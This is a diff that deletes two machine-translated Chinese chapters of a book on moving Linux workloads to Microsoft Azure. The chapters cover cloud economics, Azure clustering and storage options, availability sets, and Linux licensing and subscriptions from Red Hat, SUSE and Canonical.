-如前所述,使用 Linux 进行大数据分析是一个很少看到的场景,但是,一些客户更喜欢在 Linux 上安装某些分析工具,如 Splunk。 - -在本节中,我们已经讨论了一些常见的场景,但这并不意味着用例仅限于这些场景。随着几乎每天都有新技术的引入,潜在的用例将继续扩展。我们探索了这些特定的场景,以证明 Linux 可以处理广泛的场景,从基本功能(如工作站)一直到容器编排和大数据。 - -尽管内部基础设施也可以支持所有这些场景,但这种方法也有一些缺点。这是每个组织云之旅背后的驱动力。让我们看看这些挑战是什么,以及云如何缓解它们。 - -## 内部基础设施的挑战 - -由于需要合格的人员和复杂的网络,在内部托管基础架构非常具有挑战性。传统的方法已经持续了很长时间。随着云计算的引入,组织开始认识到他们几十年来面临的挑战如何通过云计算来解决。在我们了解云计算的优势之前,让我们先了解这些内部挑战的根本原因: - -* **缩放**:这是主要挑战之一。很难实现一个可以根据变化的流量进行扩展的解决方案。每当需要更多资源时,您可以添加更多服务器(物理或虚拟),当不再需要时,可以终止它们。但是,这种情况下的资源利用率没有优化。随着云的引入,扩展变得非常容易;您只需指定缩放条件(CPU %、内存%等),云提供商将负责缩放本身。您永远不知道您的业务明年会发展到哪里,微软 Azure 可以帮助您在业务发展的同时扩展基础架构。 -* **敏捷**:敏捷是快速反应的能力。在 Microsoft Azure 中,您可以快速分配和释放资源,以响应业务需求的变化。所有服务都是作为按需自助服务提供的,这意味着如果您需要新服务器,可以在几秒钟内部署。在内部,如果我们需要一个新的物理服务器,获得一个的过程是非常复杂的。您可能需要要求硬件提供商运送硬件、许可、修补,然后安装所有必需的软件,使其适合运行您的工作负载。因此,我们看到的时间表至少在 2-3 周左右,这与微软 Azure 提供的敏捷性形成鲜明对比。即使您正在内部部署新的虚拟机,您也需要确保您的主机有足够的资源用于新的虚拟机,否则您可能需要购买新的服务器。 -* **技能**:管理自己的数据中心所需的技能要求非常高,很难找到专业人士来处理。除了基础设施管理,您还必须考虑数据中心的安全性。为此,您可能需要雇佣更多的安全专业人员来提高数据中心的安全性。员工人数的增加是组织的另一项成本。 -* **安全性**:上一点,我们注意到雇佣更多的专业人员会增加组织的成本。即使在成功招聘后,随着威胁的不断变化和发展,也很难对员工进行每一组可能的安全威胁的培训。管理安全性以及如何应对新威胁仍然是内部环境中的一项挑战。大多数组织只有在受到威胁后才实施预防措施。事件发生后,您将需要聘请网络法医专业人员进行调查,这对组织来说也是一笔额外的费用。 - -这些是为什么在内部工作很有挑战性的一些主要原因。随着云的引入,组织可以更加专注于实现业务目标,而不是将时间浪费在机架和堆叠、软件修补和其他耗时的信息技术管理琐事上。 - -在下一节中,我们将介绍云经济,深入探讨云的优势以及如何解决上述和其他未提及的挑战。 - -## 云经济 - -拥有数据中心不是典型公司的核心业务。虽然 it 部门拥有自己可以设置并与自己进行物理交互的物理服务器可能很诱人,但这可能不是您的**首席财务官** ( **CFO** )想要做的事情。拥有服务器不仅会在资产负债表中显示为资本支出,而且设施、电力、保险等成本也会在总运营成本中增加。如果你问任何一位 IT 经理,在他们自己的数据中心托管一个应用一年所需的基础架构的购买、设置、运行和处置成本是多少,他们很可能不知道,甚至不敢猜测。 - -在你意识到自己运营数据中心的成本有多高之后,将基础设施外包给托管提供商听起来是个好主意。与单客户数据中心相比,多客户数据中心当然更具成本效益。通过在所有或许多客户之间共享部分基础架构,增加规模可以更容易地节省成本。2020 年底,全球有成千上万个专业运营的共享托管数据中心——我们如何知道选择哪一个,哪一个将在明年倒闭? - -商业软件的规模和复杂性增加了,应用收集和处理的数据量也增加了。这导致对计算能力和存储的需求越来越大,这自然会增加基础架构成本。不断增加托管环境的成本不是您的首席财务官能够长期忍受的。 - -### 规模带来效益 - -许多托管数据中心提供商正在将自己的基础架构迁移到公共云,部分原因与其客户相同:公共云基础架构在区域、数据中心和服务器数量方面变得如此庞大,以至于优化成本的规模和功能确实难以与之竞争。对于传统的数据中心和主机提供商来说,通常不可能只在您真正需要容量的时候才付费,例如在办公时间。 - -公共云由于其巨大的规模,可以提供基于消费的定价。他们可以与所有客户共享区域和全球资源。此外,他们能够对基础设施进行大规模投资,并使用定制组件。在许多情况下,他们还可以通过选择条件有利的地点来优化运营成本,例如有助于冷却数据中心的寒冷气候;此外,数据中心产生的热量可以用来加热附近的家庭。 - -公共云值得一提的另一个好处是安全性方面。让我们来看看 Azure:它使用微软的全球网络实现 Azure 内外的所有连接。微软运营其他各种基于云的服务,如微软 365 和 Xbox,它们从互联网接收大量不需要的流量。这有它的好处;例如,一些行为恶劣的 Xbox 用户试图对另一个 Xbox 用户进行 DDoS 攻击,这将被微软注意到,微软可以在全球范围内修复攻击,例如确保 Azure 不受影响。 - -通过使用公共云,您可以节省时间和金钱,因为您不必雇用自己的数据中心团队,或者不必为此向托管提供商付费。它还为您提供了几乎无限的上下可扩展性,而无需承诺长期合同。 - -迁移到公共云并不意味着您需要一次性完成所有工作。您可以选择混合方法,将一些应用和数据留在后面,只在环境之间创建连接。 - -### 许多服务可用 - -为了更好地理解迁移策略,了解各种可用的云服务是非常有用的。 - -Outlook 和 Gmail 等云服务,或者 OneDrive 和 Google Drive,都是**软件即服务** ( **SaaS** )的好例子。大多数面向消费者的云服务,如脸书、Instagram 和 WhatsApp,也属于这一类。 - -从用户的角度来看,这些解决方案只是“在那里”,不需要太多的初始努力就可以使用。这同样适用于典型的业务解决方案,如 Salesforce CRM 或 Microsoft 365。你不能自己安装这些,即使你想;它们总是作为交钥匙服务出现,并且您对底层基础架构没有任何可见性。 - -**平台即服务** ( **PaaS** )解决方案与 SaaS 有几个不同之处;他们需要某种安装工作和可以安装他们的基础设施。虽然安装是自动的,但您可能需要自己管理基础架构的某些部分。此类服务的例子包括**天青库伯内斯服务** ( **AKS** )和**天青红帽 OpenShift** ( **ARO** )。 - -在将 Linux 服务器迁移到 Azure 的背景下,我们关注的是**基础架构即服务** ( **IaaS** ),这意味着您只能获得较低级别的基础架构组件即服务。其他一切都是您自己的责任,包括配置存储和网络以及自己操作操作系统。这种类型的云服务类似于托管公司提供的典型虚拟机托管服务。 - -## 迁移到 Azure 的好处 - -内部部署环境中的典型 Linux 部署基于虚拟机,将它们迁移到 Azure 属于 IaaS 领域,因此迁移后它们仍将是虚拟机。对于系统管理员来说,这意味着他们已经拥有的技能和熟悉的管理工具在 Azure 上仍然有用。 - -在 Azure 的早期,有些服务不是为 Linux 使用而设计的,用户有时会对在 Azure 上使用 Linux 的复杂性感到沮丧。最初被命名为微软 Azure 暗示了它是为什么用例设计的。从那以后,Azure 得到了发展,它已经发展得越来越对 Linux 友好。 - -#### 注意 - -Linux 在 Azure 中迅速普及。2015 年,Azure 首席技术官 Mark Russinovich 表示,Azure 中每四个 VM 实例中就有一个运行 Linux。2018 年,微软云 EVP Scott Guthrie 在接受 ZDnet 采访时透露,Azure 虚拟机中约有一半运行 Linux。 - -([https://www . zdnet . com/article/mark-russinovich-the-Microsoft-azure-cloud-and-open-source/](https://www.zdnet.com/article/mark-russinovich-the-microsoft-azure-cloud-and-open-source/)和[https://www.zdnet.com/article/linux-now-dominates-azure/](https://www.zdnet.com/article/linux-now-dominates-azure/)) - -在 2021 年撰写本文时,微软已经因其对 Linux 和开源的热爱而闻名。微软正在支持许多开源项目、计划和基金会,比如 Linux 基金会。根据他们的网站([https://opensource.microsoft.com/program/](https://opensource.microsoft.com/program/))显示,微软在构建产品和服务时已经使用了超过 15 万个开源组件。 - -如今,越来越多的客户正在将其现有工作负载迁移到 Azure。如前所述,其中许多工作负载都是基于 Linux 的。为了促进这些迁移,微软为 Linux 用户开发了许多工具和服务。我们将在本书后面更详细地介绍这些内容。 - -微软已经与所有主要的 Linux 供应商合作,帮助他们的客户将工作负载转移到 Azure。这些合作伙伴关系的目标是开发新功能,并确保现有功能得到更好的集成,同时不要忘记以继续在 Azure 中使用现有商业内部合同的能力的形式提供金钱利益。 - -Red Hat 和 SUSE 等企业级 Linux 公司在内部 IT 基础架构领域非常受欢迎,他们都与微软合作创建了统一的全球支持服务,以确保其客户能够顺利迁移到 Azure。 - -像 CentOS 和 Ubuntu 这样的社区 Linux 发行版在 Azure 中非常受欢迎,有许多公司提供商业 Linux 支持,包括 Canonical 及其 Ubuntu Pro 产品。 - -## 从 Linux 到 Azure 的旅程 - -在这一节中,我们将介绍在考虑迁移到 Azure 时应该了解的典型 Linux 环境的一些方面。我们将介绍一些关键特性,并讨论 Azure 上可用的解决方案。我们还将在本节中提供相关 Azure 文档的链接,以使您的学习曲线稍微浅一点——这些文档非常好地涵盖了 Azure 上的 Linux。 - -在深入技术细节之前,最好知道您不一定需要自己实现所有内容。Azure Marketplace 有许多基于 Linux 的解决方案,可能会以交钥匙的方式解决您的问题。 - -在撰写本文时,Azure Marketplace 有超过 2,000 个基于 Linux 虚拟机的映像,而基于 Windows 的映像大约有 800 个。Linux 显然正在主导市场。在这些图片中,只有 14 张来自微软;其余的由第三方 ISV 公司创建和发布。例如,如果您想在 Linux 虚拟机上安装 WordPress,您需要安装 Apache、PHP 和 MySQL 作为数据库。另一方面,如果你使用的是市场图片,你可以找到定制的 WordPress 图片。这些映像可以很容易地从市场部署到您的 Azure 订阅中,而不需要手动安装 Apache、PHP 和 MySQL 服务。 - -你可以在这里找到蔚蓝市场:https://azuremarketplace.microsoft.com/marketplace/。市场图像也可以通过 Azure 命令行界面获得。就在我们发言的时候,图像的数量正在增加,也有可能将您自己的图像发布到 Azure Marketplace,并使它们可供大量客户使用。 - -我们将首先讨论集群,这是一个有很多灰色区域的场景。 - -### 聚类 - -在简单的英语中,“集群”一词的意思是群体、成群或集合。当我们说 IT 世界中的集群时,我们表达的是一组计算机(在这种情况下是 Linux 计算机)、多个存储组件和冗余网络连接共同作用形成一个高可用性系统的想法。群集避免了单点故障,还提供了负载平衡和高可用性。乍一看,集群可能看起来很复杂,因为我们必须管理多个计算资源,但这一部分是关于揭开集群复杂性的神秘面纱。 - -典型的 Linux 集群场景可以分为四种类型: - -* 仓库 -* 高可用性 -* 负载平衡 -* 高性能 - -这些都是用不同的软件实现的,需要自己的架构和配置。在接下来的几节中,我们将看到 Azure 如何解决这四个场景中的每一个。 - -### Azure 共享磁盘用于存储 - -内部部署系统中的存储集群通常被认为是多个节点之间一致的集群文件系统。当使用软件解决方案时,用于文件系统集群的技术通常是 GlusterFS、GFS2 或 OCFS2。对于块级存储共享,使用 DRBD 非常常见。在 Azure 上使用这些解决方案并不简单——即使在内部系统上也要正确设置它们,这需要非常熟练的系统管理员。 - -对于共享块存储,您可以使用 Azure 共享磁盘。这是一项相当新的功能,允许您将一个受管磁盘同时连接到多个虚拟机。这解决了许多与存储集群相关的问题。 **SCSI 持久保留** ( **SCSI PR** )是一个行业标准,由运行在**存储区域网络** ( **SAN** 上的内部环境中的应用使用。相同的 SCSI PR 有助于保留,虚拟机将使用这些保留来读取数据或将数据写入其连接的磁盘。共享托管磁盘需要使用群集管理器工具,如起搏器,它将处理群集节点通信和写锁定。群集需要起搏器,因为共享托管磁盘不提供可通过中小型企业/NFS 访问的完全托管文件系统。 - -这里的一个缺点是,并非所有磁盘类型的层都可以用作共享磁盘。目前,支持超固态硬盘和高级固态硬盘。如果您的虚拟机使用标准硬盘或标准固态硬盘,为了满足群集先决条件或克服当前限制,您可能需要将磁盘类型升级为超级或高级固态硬盘。 - -共享磁盘的文档可以在这里找到:[https://docs . Microsoft . com/azure/virtual-machines/disks-shared](https://docs.microsoft.com/azure/virtual-machines/disks-shared)。我们应该注意到,并非所有的 Linux 发行版都支持 Azure 共享磁盘。 - -### 天青文件和天青 NetApp 文件 - -共享文件系统的解决方案是一项名为 **Azure 文件**的服务。这是一个易于使用的云文件系统,允许通过使用**服务器消息块** ( **中小企业**)或**网络文件系统** ( **NFS** )协议挂载 Azure 文件共享。NFS 非常受 Linux 服务器的欢迎,中小企业通常与 Windows 服务器一起使用。在*信息技术基础设施中的典型 Linux 用例*部分,我们讨论了文件服务器如何在信息技术基础设施中发挥重要作用;Azure 文件是它的企业级云版本。这些文件共享可以安装在 Linux、Windows 和 macOS 系统上。Azure 文件提供了一个公共共享空间,可以与您的内部工作站和虚拟机共享。作为 Azure 存储的一部分,Azure 文件具有 Azure 存储支持的所有功能。说到 NFS 市场份额,与中小型企业市场份额相比,它的功能较少。 - -Azure 文件可以完全替代我们内部服务器上的文件服务器角色。由于我们能够连接到我们的内部服务器,我们还可以使用 Azure 文件将数据从内部服务器移动到云服务器,在两端装载相同的文件共享。相关文档请点击这里:[https://docs . Microsoft . com/azure/storage/files/storage-files-introduction](https://docs.microsoft.com/azure/storage/files/storage-files-introduction)。 - -共享 NFS 文件系统的另一个解决方案叫做**天青 NetApp 文件** ( **ANF** )。这是一项企业级高性能文件系统服务。NetApp 是一种非常受欢迎的存储解决方案,通常用于内部系统,现在它也在 Azure 上提供。您可以在这里阅读更多关于解决方案的信息:[https://docs.microsoft.com/azure/azure-netapp-files](https://docs.microsoft.com/azure/azure-netapp-files)。 - -ANF 支持各种存储性能层,具体取决于您的应用的 IOPS 要求。由于它与 Azure 平台深度集成,因此可以用作集群解决方案的共享文件解决方案。此外,ANF 拥有领先的行业认证,这使其成为 SAP HANA LOB 应用、HPFS、VDI 和 HPC 的理想之选。请注意,ANF 的最小存储容量目前为 4 TB。 - -### 高可用性的可用性集 - -Azure 提供非常简单的可用性集功能,可用于创建简单易用的高可用性环境。可用性集由**故障域** ( **故障域**)和**更新域** ( **故障域**)组成。 - -FDs 是 Azure 数据中心中共享公共电源、冷却和网络连接的硬件组。当我们将虚拟机部署到可用性集中时,Azure 会确保它们分布在三个 FD 1 上,这样即使 fd1 的电源中断,FD 2 或 FD 3 中的虚拟机也可以为客户提供服务。 - -同样,我们也有 UDs,其中虚拟机以底层硬件可以同时重启的方式进行分组。当 Azure 数据中心发生计划的维护事件时,一次只有一个 UD 重新启动。默认情况下,如果您部署到可用性集,虚拟机将分布在五个 FDs 上。但是,如果您愿意,您可以将其增加到最多 20 个 UDs。*图 1.9* 显示了数据中心如何映射用户定义文件和功能描述文件: - -![Mapping of fault domains and update domains in a datacenter](img/B17160_01_09.jpg) - -图 1.9: FDs 和 UDs - -可用性集使您能够跨隔离的硬件集群以分布式方式在 Azure 上部署虚拟机。这里有一个有用的教程:https://docs . Microsoft . com/azure/virtual-machines/Linux/tutorial-availability-set。 - -邻近放置组功能使您能够将选定的虚拟机保持在可用性集中的距离上。这减少了可能影响您的应用的网络延迟。请点击这里查看更多关于此功能的信息:[https://docs . Microsoft . com/azure/virtual-machines/co-location # proximity-placement-group](https://docs.microsoft.com/azure/virtual-machines/co-location#proximity-placement-groups)。 - -Azure 上通常不需要起搏器,这是一种用于典型内部安装的集群软件。然而,一些移植到 Azure 的传统解决方案是基于起搏器和 DRBD 的,例如,Azure 架构上的认证 SAP。 - -### Azure 第 4 层负载平衡 - -Azure 附带了非常有用的第 4 层负载平衡功能,通常可以用来替代典型的内部解决方案。在多个虚拟机之间分配请求和负载需要负载平衡。本教程将指导您在 Azure 上创建和操作 Linux 负载平衡:[https://docs . Microsoft . com/Azure/virtual-machines/Linux/教程-负载平衡](https://docs.microsoft.com/azure/virtual-machines/linux/tutorial-load-balancer)。 - -许多内部负载平衡解决方案不适合照原样迁移到云,因此调查 Azure 负载平衡是否解决了同样的需求可能会有所帮助。特别是,如果您的应用架构将在迁移过程中被修改,那么当前的负载平衡架构可能不具备您需要的功能,或者在 Azure 上使用时可能不必要的昂贵。 - -### Azure 上的高性能计算 - -最后一种集群类型,即高性能计算,非常适合 Azure。典型的内部高性能计算解决方案极其昂贵,尤其是当您不使用它们时,因为您需要全天候支付硬件费用。 - -Azure 既提供了传统的基于 CPU 的高性能计算解决方案,也提供了非常强大的基于 GPU 的高度可扩展模型。您可以使用各种存储选项在运行工作负载的节点之间共享数据。您可能还想从基于 RDMA 的高吞吐量后端网络中获益。相关文档可在此获得:[https://docs . Microsoft . com/azure/architecture/topics/高性能计算](https://docs.microsoft.com/azure/architecture/topics/high-performance-computing)。 - -此外,Azure 市场上还有各种第三方高性能计算解决方案。 - -### 订阅便携性 - -很多时候,对于 Linux 的 Azure 迁移来说,最大的挑战出人意料地不是技术性的。让我们在这里停一会儿,考虑一下您的 Linux 许可和订阅,尤其是如果您正在使用商业 Linux 发行版,如红帽企业 Linux 或 SUSE Linux 企业服务器。 - -您知道自己是否只是将现有虚拟机提升并转移到了公共云上吗?你需要和你的 IT 采购或律师讨论红帽或 SUSE 的合同条款吗?对于您现在可能想到的任何问题,正确答案都是:*是,但首先请咨询您的 IT 采购。* - -红帽和 SUSE 都允许客户将其现有的企业订阅转移到公共云,但是您需要采取几个步骤来实现合规性并继续直接获得他们的支持。在 Azure 中,使用这些迁移订阅创建的 Linux 虚拟机是**自带订阅** ( **BYOS** )。红帽调用相关程序**红帽云访问**,SUSE 的程序调用 **SUSE 公有云程序**。 - -请注意,将您现有的 Linux 订阅迁移到 Azure 意味着,对于使用这些订阅的虚拟机,您将继续与 Red Hat 或 SUSE 保持计费关系。您可以使用微软的**即付即用** ( **PAYG** )计费在 Azure 上创建新的 Linux 虚拟机。 - -最后,了解 Azure 混合优势非常有用,它允许您在 BYOS 和 PAYG 之间切换。此功能正在积极开发中,在撰写本文时,仅支持从内部迁移到 Azure 的虚拟机。请在此处的文档中查看更多详细信息:[https://docs . Microsoft . com/azure/virtual-machines/Linux/azure-hybrid-受益-linux](https://docs.microsoft.com/azure/virtual-machines/linux/azure-hybrid-benefit-linux) 。 - -如果你使用的是社区发行版,比如 CentOS 和 Ubuntu,前面这些对你来说都不重要,因为这些发行版是完全免费使用的,但至少你今天学到了一些新东西。 - -## 总结 - -这一章从 Linux 的历史开始。Linux 从一个有趣的项目到一个企业级操作系统的飞跃令人惊讶。如今,从高端服务器到智能手机再到智能灯泡,Linux 无处不在。由于定制的自由,Linux 有很多变体,被称为口味或发行版;每个用例都有一个发行版。如果没有一个发行版符合您的确切要求,并且您想要添加更多的特性,请随意定制和构建您自己的 Linux。我们探讨了 Linux 的一些用例场景,并研究了传统 IT 在内部环境中基础架构管理面临的一些挑战。 - -每个组织都是靠数字运行的。在云经济部分,我们研究了如果进行资本支出和运营支出比较,在云中运行工作负载如何获利。云的上风不仅来自于成本的降低;这是一个解决我们在内部环境中遇到的所有挑战的解决方案。我们讨论了几个优势,包括容错、高可用性、敏捷性、弹性和可伸缩性。 - -可以肯定地说,您过去在内部环境中所做的一切都可以以某种方式迁移到 Azure 中。有大量高质量的文档可用,第三方独立软件开发商解决方案可以缩短您的实施周期。微软合作伙伴公司、微软客户团队以及致力于帮助客户迁移到 Azure 的微软快速通道团队也提供了额外的帮助。 - -下一章我们将深入探讨这些发行版,从许可部分开始,讨论一些被广泛采用的发行版,并最终讨论 Azure 上的 Linux 体验。 \ No newline at end of file diff --git a/docs/migrate-linux-ms-azure/2.md b/docs/migrate-linux-ms-azure/2.md deleted file mode 100644 index 61cf3531..00000000 --- a/docs/migrate-linux-ms-azure/2.md +++ /dev/null @@ -1,402 +0,0 @@ -# 二、了解 Linux 发行版 - -*好东西有很多种口味,Linux 发行版也是如此。* - -要创建一个成功的云迁移计划,您需要很好地了解要迁移到云的系统的组件和变量。 - -在本章中,您将了解各种 Linux 发行版的相关术语和技术细节,以帮助您规划到 Azure 的成功迁移。尽管所有的发行版都基于相同的操作系统,但它们都有自己的小技术细节,需要详细的知识才能成功地为迁移做准备。随着发行版的介绍,我们将了解许可选项,以及自由和商业开源软件之间的区别。商业 Linux 发行版有各种附加功能和支持选项。我们还将介绍不同发行版的一些典型用例。 - -本章的最后一节是 Azure 上的*Linux*,首先讨论微软认可的发行版和微软提供的支持范围。微软和 Linux 供应商共享支持。我们还将介绍 Azure 中的 Linux 虚拟机许可模式,以及每种模式为客户带来的潜在节约。我们将以使用 Azure CLI 查找虚拟机映像详细信息的演示来结束本章;如果您想在 Azure 上查看可用图像的列表,这非常有用。 - -本章将涵盖以下主题: - -* Linux 许可和开源商业模式 -* 流行的 Linux 发行版 -* Azure 上的 Linux:优势、许可模式、支持 - -到本章结束时,您将了解到将 Linux 订阅转移到云中的必要技巧和诀窍。让我们从探索 Linux 许可证开始讨论。 - -## Linux 许可和开源商业模式 - -本节重点介绍商业 Linux 发行版。如果您只使用免费的 Linux 社区版本,如 CentOS 或 Debian,某些内容可能不适用于您。 - -### 开源许可 - -你如何从免费的东西中赚钱?为了回答这个问题,我们必须回头看看,当我们说某个东西是开源的时候,它意味着什么。 - -Linux 发行版和 Linux 内核都是开源的,但同时它们也受到版权法的保护。让事情变得非常复杂的是,有许多开源许可证覆盖了 Linux 发行版的不同部分。一些组件可能包含在 **GNU 通用公共许可证** ( **GPL** )中,一些包含在 **Apache 许可证** ( **APL** 中,还有一些包含在 MIT 许可证中。要使这变得更加复杂,重要的是要认识到同一许可证可能有多个版本,并且它们可能不都相互兼容或与任何其他许可证兼容。 - -在这一点上,理解所有的 Linux 发行版都被开源许可证覆盖就足够了。这意味着您有权下载 Linux 发行版中包含的所有软件的源代码。你可以用源代码做什么不在本书的讨论范围之内,因为我们没有创建自己的 Linux 发行版。在这本书里,我们不必深入各种开源许可和版权法的细节。 - -### 企业协议 - -当谈到商业开源,特别是商业 Linux 发行版时,术语**企业协议**是您在考虑将您的 Linux 服务器迁移到 Azure 之前需要熟悉的东西。我们可能经常会跳过阅读此类协议的条款和条件,然后只需简单地点击一下鼠标就可以接受,但阅读它们很重要。 - -面向商业 Linux 供应商的企业协议通常规定,您同意根据他们最新的价目表付费使用他们的软件,并遵守您可以在哪里以及如何使用软件的规则。它还说了很多其他的东西,但是由于这不是一个软件采购的书,我们就不深入这些细节了。然而,与您的软件采购团队进行对话,检查他们是否知道合同细节,这可能是有意义的。 - -### Linux 订阅 - -专有软件供应商所谓的“许可证”在 Linux 世界中可以被松散地称为“订阅”。当然,从技术上讲,这是两码事,但在典型的销售对话中,您可能会听到有人谈论 Linux 许可证——正如我们之前了解到的,这些不是您要找的许可证。 - -**订阅**实际上是指下载、使用和更新商业 Linux 发行版的权利。它通常还附带一项技术支持服务,该服务具有不同的服务级别协议。为了订阅这样的服务,您需要代表您的雇主与商业 Linux 供应商签订合同。这种合同通常被称为企业协议,它通常附带一些额外的义务。这些义务之一是遵守服务订购协议的规则。 - -例如,红帽企业 Linux 的订阅规则规定,您只能在自己的基础架构上使用该软件。实际上,这也包括托管环境,被认为是租用的基础设施。公共云不被视为您自己的基础架构,如果您想将您的 Linux 服务器移动到公共云,您需要通知红帽。 - -SUSE 有非常相似的订阅规则。如前所述,与您的软件采购部门一起检查合同是一个非常好的主意,以确保您遵守规则。 - -使用 Ubuntu,订阅的概念有点不同;您根本不需要订阅就可以使用它。在这种情况下,订阅指的是 Ubuntu 背后的公司 Canonical 的专业支持服务合同。除了免费的 Ubuntu Linux,Canonical 还提供 Ubuntu Pro,这是他们在 Azure 上的商业 Ubuntu 映像。 - -*图 2.1* 说明了商业和社区 Linux 发行版的许可证、订阅和支持合同之间的区别: - -![The relation of licenses and contracts](img/B17160_02_01.jpg) - -图 2.1:许可证、订阅和合同之间的区别 - -足够的许可证和订阅。让我们看看实际的 Linux 发行版。 - -## 流行的 Linux 发行版 - -多年来,各种 Linux 服务器发行版获得了相当稳定的市场份额。公司用户通常根据他们使用的业务应用在一个或两个发行版上进行标准化。红帽和 SUSE 是两家最著名的企业级 Linux 开发公司和供应商,它们在 Linux 操作系统领域都有类似的产品。如今,第三家商业 Linux 供应商 Canonical 也在同一类别中。他们的 Ubuntu Linux 曾经以开发者工作站发行版而闻名,它作为生产服务器操作系统也很快受到欢迎。再加上 Canonical 的商业支持产品,Ubuntu Linux 是两个领先的企业级 Linux 发行版的绝佳替代品。 - -红帽成立于 1993 年,当时鲍勃·扬和马克·尤因联手创建了*红帽软件*。1999 年,红帽在 T2 纽交所上市。在 2019 年被 IBM 收购之前,Red Hat 已经收购了数十家小型开源公司,如 Cygnus(跨平台工具)、JBoss (Java 中间件)、qum ranet(KVM 虚拟化技术的创造者)、Makara(PaaS 平台,OpenShift 的第一个版本)、ManageIQ(混合云编排器,CloudForms 的第一个版本)、InkTank(Ceph 存储技术的创造者)、Ansible(流行的自动化工具包)和 CoreOS(用于容器的小型 Linux 发行版)。 - -完整的收购名单包括 30 多家公司,你们大多数人可能都没有听说过,因为这些品牌已经与红帽的其他产品线合并了。**红帽企业 Linux** ( **RHEL** )是现在非常流行的平台,尤其是对于 Java 中间件 JBoss 产品,商业的 Kubernetes 打包、OpenShift 也是如此,因为两者都是由红帽发布的。 - -SUSE 成立于 Red Hat 的前一年,也就是 1992 年,成为第一家向企业客户销售 Linux 的公司。Rolard Dyroff、Burchard Steinbild、Hubert Mantel 和 Thomas Fehr 首先将公司命名为*Gesellschaft für Software and Systementwicklung mbH*,并使用了首字母缩略词 SuSE,它来自德语短语*Software-und System-Entwicklung,*意为*软件和系统开发。*他们产品的第一个版本是当时流行的 Slackware Linux 发行版的扩展。1996 年,他们发布了第一个 Linux 发行版,基于已经被遗忘的 Linux 发行版 Jurix,并偏离了 Slackware。 - -多年来,SUSE 多次被收购和更名,最著名的是 2003 年被 Novell 收购,2018 年被 EQT Partners 收购。SUSE 本身在 2017 年收购了惠普企业公司的 OpenStack 和 CloudFoundry 资产,并在 2020 年收购了以 Kubernetes 管理平台闻名的 Rancher Labs。如今, **SUSE Linux 企业服务器** ( **SLES** )是 SAP 系统部署非常常见的平台。 - -对于非商业用途,如果你看看部署的数量,Ubuntu 似乎是明显的赢家。Ubuntu 是基于 Debian 的,Debian 曾经是服务器工作负载非常流行的 Linux 发行版。 - -与 RHEL 完全兼容的 CentOS 也很受欢迎,因为它通常被 RHEL 专业人士用于他们的业余项目和其他没有企业级预算的工作。 - -多年来,有许多流行的 Linux 发行版供桌面使用,但它们在服务器用例上并没有得到普及。我们将不涉及本书范围内的内容,因为 Azure 上的 Linux 通常指的是使用服务器操作系统。 - -在下一节中,我们将深入讨论在 Azure 上使用免费和商业 Linux 发行版的细节,特别关注 RHEL、SLES 和 Ubuntu Pro。然而,大多数内容也适用于它们的免费版本 CentOS、openSUSE 和 Ubuntu。 - -## Azure 上的 Linux - -在*第 1 章**Linux:云中的历史和未来*中,我们提到微软提出了“微软♡ Linux”的座右铭在 Azure 上,Linux 主要是指 Azure 上支持的不同的 Linux 发行版。微软 Azure 支持常见的 Linux 服务器发行版,包括 RHEL、CentOS、Ubuntu、Debian、SLES、openSUSE、Oracle Linux 和 Flatcar Container Linux。您可以在此登录页面找到最新列表以及更多关于 Azure 上 Linux 的信息:[https://azure.com/linux](https://azure.com/linux)。 - -如果您正在寻找的操作系统不在列表中,或者您需要定制或预配置的映像,请随时访问 Azure Marketplace,在那里您可以浏览数百个可能符合您要求的映像。 - -如果 Azure Marketplace 映像不符合您组织的标准或要求,您可以创建自己的映像并上传到 Azure: - -![A view of the Azure Marketplace that shows different types of pre-configured images](img/B17160_02_02.jpg) - -图 2.2: Azure 市场 - -*图 2.2* 是 Azure Marketplace 的视图,显示了一些可用的不同类型的预配置映像。 - -### Linux 在 Azure 上的优势 - -在云中部署与您习惯的内部部署没有什么不同;您将能够在云中使用 Linux 操作系统,就像使用内部服务器一样。您可以使用已经熟悉的命令和工具,并根据需要添加更多的包。 - -您可以使用现成的功能,如 cloud-init、Azure Automation Runbooks 和 Azure 资源管理器模板的 Azure 自定义脚本扩展,在部署阶段自动执行配置管理。通过使用这些工具,管理员将能够节省花费在冗长重复的配置管理任务上的时间。 - -由于环境已经设置好并准备好登录,您不必像以前创建虚拟机时那样经历冗长的安装过程。凭据将在 Azure 虚拟机创建期间提供,一旦虚拟机部署完毕,您就可以登录并开始使用虚拟机。 - -由于所有部署都与 Azure Monitor 集成在一起,因此您可以监控与虚拟机相关的所有指标,例如 CPU 使用率、磁盘写入、磁盘读取、网络输出、网络输入等。Azure 公开了 Metrics API,因此您可以进一步利用开发的仪表板来监控任务关键型工作负载的度量。除了这些指标,Azure 还提供了一个可以安装在 Linux 虚拟机上的代理,称为 **OMS 代理**。使用此代理,您可以将系统日志、身份验证日志和自定义日志(如 Apache 日志)摄取到 Azure 日志分析工作区。数据摄入后,可以使用**库斯托查询语言** ( **KQL** )分析日志。 - -从安全角度来看,您可以使用 Azure 安全中心来改善基础架构的安全状况。Azure 安全中心可以检测威胁,并为您的部署提供策略见解和建议。 - -此外,我们现在可以对 Linux 虚拟机使用 Azure 活动目录登录。这消除了在每台 Linux 机器上管理本地用户帐户的管理开销和安全风险;用户可以使用他们的公司凭据登录 Linux 虚拟机。 - -从这个非详尽的优势列表中,我们看到 Azure 上的 Linux 提供了两全其美的优势;您可以获得 Linux 的所有定制功能,同时还可以获得 Microsoft Azure 提供的所有功能和优势。 - -Azure 上的 Linux 非常通用;“在 Azure 上”后缀可以单独应用于每个发行版。例如,您应该将“Azure 上的红帽”理解为 Azure 上支持的所有红帽产品。您可能认为 RHEL 是 Red Hat 在 Azure 上提供的唯一产品,但您也可以找到其他产品,如 Azure Red Hat OpenShift、Red Hat JBoss 企业应用平台、Red Hat Gluster 存储、Red Hat OpenShift 容器平台、Red Hat CloudForms 和 Red Hat Ansible Automation。可以看到红帽的所有主要产品线在 Azure 上都有;这是大型组织如何向 Microsoft Azure 推广其产品的一个明显例子。您将从其他供应商那里看到类似的方法,如“Azure 上的 SUSE”和“Azure 上的 Ubuntu”,它们代表 Azure 中各自供应商支持的产品。 - -#### 注意 - -查看以下供应商在 Azure 上提供的产品线: - -* Azure 上提供的红帽产品线:[https://Azure.com/RedHat](https://Azure.com/RedHat ) -* Azure 上提供的 SUSE 产品线:[https://Azure.com/SUSE](https://Azure.com/SUSE ) -* Ubuntu on azure:[https://azure . com/Ubuntu](https://Azure.com/Ubuntu ) - -微软建议在 Azure 中使用认可的 Linux 